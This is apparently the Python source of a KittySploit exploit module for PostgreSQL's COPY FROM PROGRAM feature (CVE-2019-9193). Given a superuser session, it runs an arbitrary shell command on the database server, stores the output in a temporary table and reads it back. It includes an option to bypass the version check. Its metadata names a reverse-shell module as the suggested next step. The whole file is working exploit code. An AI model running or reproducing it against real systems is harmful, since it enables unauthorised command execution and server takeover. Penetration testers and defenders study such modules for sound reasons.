PostgreSQL COPY FROM PROGRAM RCE (CVE-2019-9193)

import re
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.postgresql.postgresql_client import PostgreSQLClient


class Module(Post, PostgreSQLClient):

	__info__ = {
		"name": "PostgreSQL COPY FROM PROGRAM RCE (CVE-2019-9193)",
		"description": (
			"Authenticated remote code execution via COPY FROM PROGRAM on PostgreSQL 9.3 through 11.7. "
			"Requires a superuser database session."
		),
		"author": ["b4keSn4ke", "KittySploit Team"],
		"cve": ["CVE-2019-9193"],
		"session_type": SessionType.POSTGRESQL,
		"references": [
			"https://nvd.nist.gov/vuln/detail/CVE-2019-9193",
			"https://github.com/b4keSn4ke/postgresql_exploit"],
		"tags": [
			"postgresql",
			"authenticated",
			"rce",
			"copy-from-program",
			"cve-2019-9193"],
		"agent": {
			"risk": "intrusive",
			"effects": ["active_exploitation"],
			"expected_requests": 2,
			"reversible": False,
			"approval_required": True,
			"produces": ["risk_signals"],
			"chain": {
				"consumes_capabilities": ["db_access"],
				"produces_capabilities": ["rce", "shell"],
				"suggested_followups": ["post/shell/multi/manage/spawn_reverse_shell"],
			},
		},
	}

	_VERSION_RE = re.compile(r"PostgreSQL\s+(\d+)\.(\d+)(?:\.(\d+))?")

	command = OptString("id", "Shell command to run on the database server", True)
	force = OptBool(
		False,
		"Run even if PostgreSQL version is outside the CVE range (9.3-11.7)",
		False,
	)

	@classmethod
	def _parse_version(cls, version_string: str) -> Optional[Tuple[int, int, int]]:
		match = cls._VERSION_RE.search(version_string or "")
		if not match:
			return None
		patch = int(match.group(3) or 0)
		return int(match.group(1)), int(match.group(2)), patch

	@classmethod
	def _format_version(cls, version_tuple: Optional[Tuple[int, int, int]]) -> str:
		if not version_tuple:
			return "unknown"
		return ".".join(str(part) for part in version_tuple)

	@classmethod
	def _is_vulnerable_version(cls, version_tuple: Optional[Tuple[int, int, int]]) -> bool:
		if not version_tuple:
			return False
		major, minor, _patch = version_tuple
		if major < 9 or (major == 9 and minor < 3):
			return False
		if major > 11 or (major == 11 and minor > 7):
			return False
		return True

	def _version_check(self) -> Tuple[bool, str]:
		version_string = self.get_version() or ""
		version_tuple = self._parse_version(version_string)
		version_label = self._format_version(version_tuple)

		if version_string:
			print_status(f"Server version: {version_string.strip()}")

		if self.force:
			print_warning(
				f"Version check bypassed (force=true); reported version is {version_label}"
			)
			return True, version_label

		if not self._is_vulnerable_version(version_tuple):
			print_error(
				f"PostgreSQL {version_label} is outside the affected range (9.3-11.7)"
			)
			return False, version_label

		print_success(f"PostgreSQL {version_label} is likely vulnerable")
		return True, version_label

	def check(self):
		try:
			self.get_postgresql_connection()
		except ProcedureError as exc:
			print_error(str(exc))
			return False

		ok, _version_label = self._version_check()
		if not ok:
			return False

		if not self.is_superuser():
			print_error("COPY FROM PROGRAM requires superuser privileges")
			return False

		print_success("Superuser session — COPY FROM PROGRAM is available")
		return True

	def run(self):
		try:
			ok, _version_label = self._version_check()
			if not ok:
				raise ProcedureError(
					FailureType.NotVulnerable,
					"PostgreSQL version is outside CVE-2019-9193 range",
				)

			if not self.is_superuser():
				raise ProcedureError(
					FailureType.NotAccess,
					"COPY FROM PROGRAM requires superuser privileges",
				)

			cmd = str(self.command)
			print_status(f"Executing: {cmd}")

			conn = self.get_postgresql_connection()
			conn.autocommit = True
			with conn.cursor() as cur:
				cur.execute("CREATE TEMP TABLE IF NOT EXISTS kittysploit_cmd_out (line text);")
				cur.execute("TRUNCATE kittysploit_cmd_out;")
				cur.execute(
					"COPY kittysploit_cmd_out FROM PROGRAM %s;",
					(cmd,),
				)
				cur.execute("SELECT line FROM kittysploit_cmd_out;")
				rows = cur.fetchall()

			if rows:
				print_success("Command output:")
				for (line,) in rows:
					print_info(line)
			else:
				print_warning("Command ran but returned no output")

			return True
		except ProcedureError:
			raise
		except Exception as exc:
			raise ProcedureError(
				FailureType.Unknown, f"COPY FROM PROGRAM failed: {exc}"
			)